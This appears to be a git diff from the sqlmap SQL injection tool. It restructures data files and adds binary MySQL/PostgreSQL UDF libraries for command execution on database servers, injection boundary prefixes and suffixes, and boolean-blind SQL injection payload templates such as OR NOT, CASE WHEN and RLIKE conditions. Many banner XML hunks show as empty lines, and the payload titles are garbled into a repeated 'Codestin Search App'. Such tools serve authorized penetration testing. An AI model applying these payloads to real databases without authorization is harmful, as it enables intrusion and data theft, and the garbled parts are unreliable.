+Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
diff --git a/data/txt/wordlist.tx_ b/data/txt/wordlist.tx_
new file mode 100644
index 0000000000..f2b52c9065
Binary files /dev/null and b/data/txt/wordlist.tx_ differ
diff --git a/udf/README.txt b/data/udf/README.txt
similarity index 100%
rename from udf/README.txt
rename to data/udf/README.txt
diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
new file mode 100644
index 0000000000..bfd4440ba5
Binary files /dev/null and b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ
diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
new file mode 100644
index 0000000000..1992ed0347
Binary files /dev/null and b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ
diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
new file mode 100644
index 0000000000..bb8ec366d4
Binary files /dev/null and b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ
diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
new file mode 100644
index 0000000000..97799b69d4
Binary files /dev/null and b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..33dbdeeb35
Binary files /dev/null and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..c56d766209
Binary files /dev/null and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..3fb236e264
Binary files /dev/null and b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..d734fff00a
Binary files /dev/null and b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..da50fa8eaf
Binary files /dev/null and b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..83732d3329
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..ee1ca8ccef
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..ab7e745622
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..5314a0a388
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..da9d0a7f6f
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..1100ab820f
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..f9396a86aa
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..21bbddcf59
Binary files /dev/null and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..9327b1cdba
Binary files /dev/null and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..a987444946
Binary files /dev/null and b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..e4b124fc8b
Binary files /dev/null and b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..2c22afae9a
Binary files /dev/null and b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..ab23ee6a74
Binary files /dev/null and b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..8dae29c833
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..e5d05fc6f1
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..ff31df6149
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..d5576fdd8c
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..2350427f4a
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..eae84bdadd
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
new file mode 100644
index 0000000000..4a408a1ae0
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
new file mode 100644
index 0000000000..40f838b30f
Binary files /dev/null and b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
new file mode 100644
index 0000000000..a9b4b48c7b
Binary files /dev/null and b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
new file mode 100644
index 0000000000..06aee54d77
Binary files /dev/null and b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
new file mode 100644
index 0000000000..67b5d34976
Binary files /dev/null and b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ
diff --git a/xml/banner/generic.xml b/data/xml/banner/generic.xml
similarity index 66%
rename from xml/banner/generic.xml
rename to data/xml/banner/generic.xml
index 9a221fd91b..fc2fb97f59 100644
--- a/xml/banner/generic.xml
+++ b/data/xml/banner/generic.xml
@@ -27,46 +27,53 @@
-
-
+
+
-
-
+
+
+
+
-
-
+
+
-
-
-
+
+
+
+
+
+
-
+
+
+
+
+
-
+
-
+
-
+
-
+
-
+
@@ -76,6 +83,10 @@
+
+
+
+
@@ -108,11 +119,23 @@
+
+
+
+
-
+
+
+
+
+
+
+
+
+
@@ -128,7 +151,7 @@
-
+
@@ -144,7 +167,7 @@
-
+
diff --git a/xml/banner/mssql.xml b/data/xml/banner/mssql.xml
similarity index 100%
rename from xml/banner/mssql.xml
rename to data/xml/banner/mssql.xml
diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml
new file mode 100644
index 0000000000..456c9510b8
--- /dev/null
+++ b/data/xml/banner/mysql.xml
@@ -0,0 +1,79 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/oracle.xml b/data/xml/banner/oracle.xml
similarity index 100%
rename from xml/banner/oracle.xml
rename to data/xml/banner/oracle.xml
diff --git a/data/xml/banner/postgresql.xml b/data/xml/banner/postgresql.xml
new file mode 100644
index 0000000000..7f03e8e8c4
--- /dev/null
+++ b/data/xml/banner/postgresql.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/server.xml b/data/xml/banner/server.xml
similarity index 67%
rename from xml/banner/server.xml
rename to data/xml/banner/server.xml
index cd64d8b8ab..4d99cade0b 100644
--- a/xml/banner/server.xml
+++ b/data/xml/banner/server.xml
@@ -2,28 +2,35 @@
+
+
+
+
+
+
+
+
-
+
-
+
-
+
-
+
@@ -67,19 +74,31 @@
-
+
-
+
-
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -120,24 +139,36 @@
-
-
+
+
-
-
+
+
-
-
+
+
-
-
+
+
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -230,98 +261,199 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -430,10 +562,6 @@
-
-
-
-
@@ -504,6 +632,14 @@
+
+
+
+
+
+
+
+
@@ -611,6 +747,34 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -670,12 +834,110 @@
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/servlet.xml b/data/xml/banner/servlet-engine.xml
similarity index 64%
rename from xml/banner/servlet.xml
rename to data/xml/banner/servlet-engine.xml
index 75106859d7..c34d9617e1 100644
--- a/xml/banner/servlet.xml
+++ b/data/xml/banner/servlet-engine.xml
@@ -3,10 +3,18 @@
-
+
+
+
+
+
+
+
+
+
diff --git a/data/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml
new file mode 100644
index 0000000000..419a436445
--- /dev/null
+++ b/data/xml/banner/set-cookie.xml
@@ -0,0 +1,93 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/sharepoint.xml b/data/xml/banner/sharepoint.xml
similarity index 100%
rename from xml/banner/sharepoint.xml
rename to data/xml/banner/sharepoint.xml
diff --git a/xml/banner/x-aspnet-version.xml b/data/xml/banner/x-aspnet-version.xml
similarity index 100%
rename from xml/banner/x-aspnet-version.xml
rename to data/xml/banner/x-aspnet-version.xml
diff --git a/data/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml
new file mode 100644
index 0000000000..34ad03d18c
--- /dev/null
+++ b/data/xml/banner/x-powered-by.xml
@@ -0,0 +1,65 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml
new file mode 100644
index 0000000000..20bf0d1031
--- /dev/null
+++ b/data/xml/boundaries.xml
@@ -0,0 +1,576 @@
+
+
+
+
+
+
+
+ 3
+ 1
+ 1,2
+ 1
+ )
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1,2
+ 2
+ ')
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 3
+ 1,2,3
+ 1,2
+ 2
+ '
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 4
+ "
+ [GENERIC_SQL_COMMENT]
+
+
+
+
+
+ 1
+ 1
+ 1,2
+ 1
+ )
+ AND ([RANDNUM]=[RANDNUM]
+
+
+
+ 2
+ 1
+ 1,2
+ 1
+ ))
+ AND (([RANDNUM]=[RANDNUM]
+
+
+
+ 3
+ 1
+ 1,2
+ 1
+ )))
+ AND ((([RANDNUM]=[RANDNUM]
+
+
+
+ 1
+ 0
+ 1,2,3
+ 1
+
+
+
+
+
+ 1
+ 1
+ 1,2
+ 2
+ ')
+ AND ('[RANDSTR]'='[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 2
+ '))
+ AND (('[RANDSTR]'='[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 2
+ ')))
+ AND ((('[RANDSTR]'='[RANDSTR]
+
+
+
+ 1
+ 1
+ 1,2
+ 2
+ '
+ AND '[RANDSTR]'='[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 3
+ ')
+ AND ('[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 3
+ '))
+ AND (('[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 4
+ 1
+ 1,2
+ 3
+ ')))
+ AND ((('[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 3
+ %'
+ AND '[RANDSTR]%'='[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 3
+ '
+ AND '[RANDSTR]' LIKE '[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 4
+ ")
+ AND ("[RANDSTR]"="[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 4
+ "))
+ AND (("[RANDSTR]"="[RANDSTR]
+
+
+
+ 4
+ 1
+ 1,2
+ 4
+ ")))
+ AND ((("[RANDSTR]"="[RANDSTR]
+
+
+
+ 2
+ 1
+ 1,2
+ 4
+ "
+ AND "[RANDSTR]"="[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 5
+ ")
+ AND ("[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 4
+ 1
+ 1,2
+ 5
+ "))
+ AND (("[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 5
+ 1
+ 1,2
+ 5
+ ")))
+ AND ((("[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 3
+ 1
+ 1,2
+ 5
+ "
+ AND "[RANDSTR]" LIKE "[RANDSTR]
+
+
+
+ 1
+ 1
+ 1,2
+ 1
+
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 3
+ 1
+ 1,2
+ 1
+
+ # [RANDSTR]
+
+
+
+
+ 3
+ 1
+ 1,2
+ 2
+ '
+ OR '[RANDSTR1]'='[RANDSTR2]
+
+
+
+
+
+ 5
+ 9
+ 1,2
+ 2
+ ') WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 9
+ 1,2
+ 2
+ ") WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 9
+ 1,2
+ 1
+ ) WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 9
+ 1,2
+ 2
+ ' WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 9
+ 1,2
+ 4
+ " WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 9
+ 1,2
+ 1
+ WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 9
+ 1
+ 2
+ '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )||'
+
+
+
+ 5
+ 9
+ 1
+ 2
+ '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]
+ )||'
+
+
+
+ 5
+ 9
+ 1
+ 2
+ '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )+'
+
+
+
+ 5
+ 9
+ 1
+ 2
+ ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]
+ )||
+
+
+
+ 5
+ 9
+ 1
+ 2
+ ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )||
+
+
+
+ 5
+ 9
+ 1
+ 1
+ +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ )+
+
+
+
+ 5
+ 9
+ 1
+ 2
+ +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]
+ )+
+
+
+
+
+
+ 5
+ 1
+ 1,2
+ 2
+ ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 2
+ ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 1
+ )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1,2
+ 2
+ ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1,2
+ 4
+ ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1,2
+ 1
+ ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 4
+ 1
+ 1
+ 1
+ ` WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+ 5
+ 1
+ 1
+ 1
+ `) WHERE [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+
+
+
+ 4
+ 8
+ 1
+ 6
+ `=`[ORIGINAL]`
+ AND `[ORIGINAL]`=`[ORIGINAL]
+
+
+
+ 5
+ 8
+ 1
+ 6
+ "="[ORIGINAL]"
+ AND "[ORIGINAL]"="[ORIGINAL]
+
+
+
+ 5
+ 8
+ 1
+ 6
+ ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]
+ )|[[ORIGINAL]
+
+
+
+
+ 5
+ 7
+ 1
+ 3
+ [RANDSTR1],
+ [RANDSTR2]
+
+
+
+
+ 4
+ 1
+ 1
+ 2
+ ' IN BOOLEAN MODE)
+ #
+
+
+
diff --git a/data/xml/errors.xml b/data/xml/errors.xml
new file mode 100644
index 0000000000..74555d54ab
--- /dev/null
+++ b/data/xml/errors.xml
@@ -0,0 +1,240 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml
new file mode 100644
index 0000000000..ae8b6de95f
--- /dev/null
+++ b/data/xml/payloads/boolean_blind.xml
@@ -0,0 +1,1612 @@
+
+
+
+
+
+
+
+ Codestin Search App
+ 1
+ 1
+ 1
+ 1,8,9
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+
+
+ Codestin Search App
+ 1
+ 1
+ 3
+ 1,9
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1,9
+ 1
+ OR NOT [INFERENCE]
+
+ OR NOT [RANDNUM]=[RANDNUM]
+
+
+ OR NOT [RANDNUM]=[RANDNUM1]
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+ AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+ [GENERIC_SQL_COMMENT]
+
+
+ AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+ OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+ [GENERIC_SQL_COMMENT]
+
+
+ OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 3
+ 1
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 3
+ 1
+ 1
+ OR NOT [INFERENCE]
+
+ OR NOT [RANDNUM]=[RANDNUM]
+ [GENERIC_SQL_COMMENT]
+
+
+ OR NOT [RANDNUM]=[RANDNUM1]
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+ #
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+ #
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1
+ 1
+ OR NOT [INFERENCE]
+
+ OR NOT [RANDNUM]=[RANDNUM]
+ #
+
+
+ OR NOT [RANDNUM]=[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1
+ 1
+ AND [INFERENCE]
+
+ AND [RANDNUM]=[RANDNUM]
+ %16
+
+
+ AND [RANDNUM]=[RANDNUM1]
+
+
+ Microsoft Access
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR [INFERENCE]
+
+ OR [RANDNUM]=[RANDNUM]
+ %16
+
+
+ OR [RANDNUM]=[RANDNUM1]
+
+
+ Microsoft Access
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1,2,3
+ 1
+ RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))
+
+ RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END))
+
+
+ RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,2,3,8
+ 1
+ AND MAKE_SET([INFERENCE],[RANDNUM])
+
+ AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1,2,3
+ 2
+ OR MAKE_SET([INFERENCE],[RANDNUM])
+
+ OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
